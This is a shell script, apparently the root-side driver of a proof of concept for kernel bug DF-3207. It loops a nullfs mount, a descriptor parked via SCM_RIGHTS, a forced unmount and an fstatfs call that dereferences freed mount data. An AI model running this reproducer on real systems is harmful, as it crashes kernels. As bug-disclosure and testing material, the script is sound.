#!/bin/sh
# DF-3207 PoC - deterministic driver (root side).
#
# 1. mount_null /tmp/t /mnt/a
# 2. start unpriv ghost (parks fd in socket rcv buf via SCM_RIGHTS)
# 3. umount -f /mnt/a  (exhausts 50x250ms retries because the sockbuf
#    fp holds a mount ref invisible to the kill-scan; then proceeds to
#    VFS_UNMOUNT anyway with freeok=0 -> nullm freed, mnt_data = 0)
# 4. signal ghost to recvmsg() the fd back and call fstatfs(2)
#    -> nullfs_statfs derefs MOUNTTONULLMOUNT(mp)->nullm_vfs at VA 0
#
# usage: det_driver.sh [rounds]
TARGET=/tmp/t
ALIAS=/mnt/a
CTL=/tmp/df3207
R=${1:-3}

mkdir -p "$TARGET" "$ALIAS"
echo hi > "$TARGET/f1"

i=0
while [ $i -lt $R ]; do
	i=$((i+1))
	rm -f $CTL.stashed $CTL.fire
	/sbin/mount_null $TARGET $ALIAS || { echo "mount failed r=$i"; exit 1; }
	su -m test -c "/root/ghost $ALIAS/f1 $CTL" > /tmp/ghost.log 2>&1 &
	for w in 1 2 3 4 5 6 7 8 9 10; do
		[ -f $CTL.stashed ] && break
		sleep 1
	done
	[ -f $CTL.stashed ] || { echo "ghost never stashed"; cat /tmp/ghost.log; exit 1; }
	echo "round $i: parked; umount -f (takes ~13s)..."
	date
	/sbin/umount -f $ALIAS
	echo "round $i: umount rc=$? (expect 0); firing fstatfs"
	touch $CTL.fire
	sleep 5
	echo "round $i: guest still up? ghost says:"
	cat /tmp/ghost.log
done
echo done
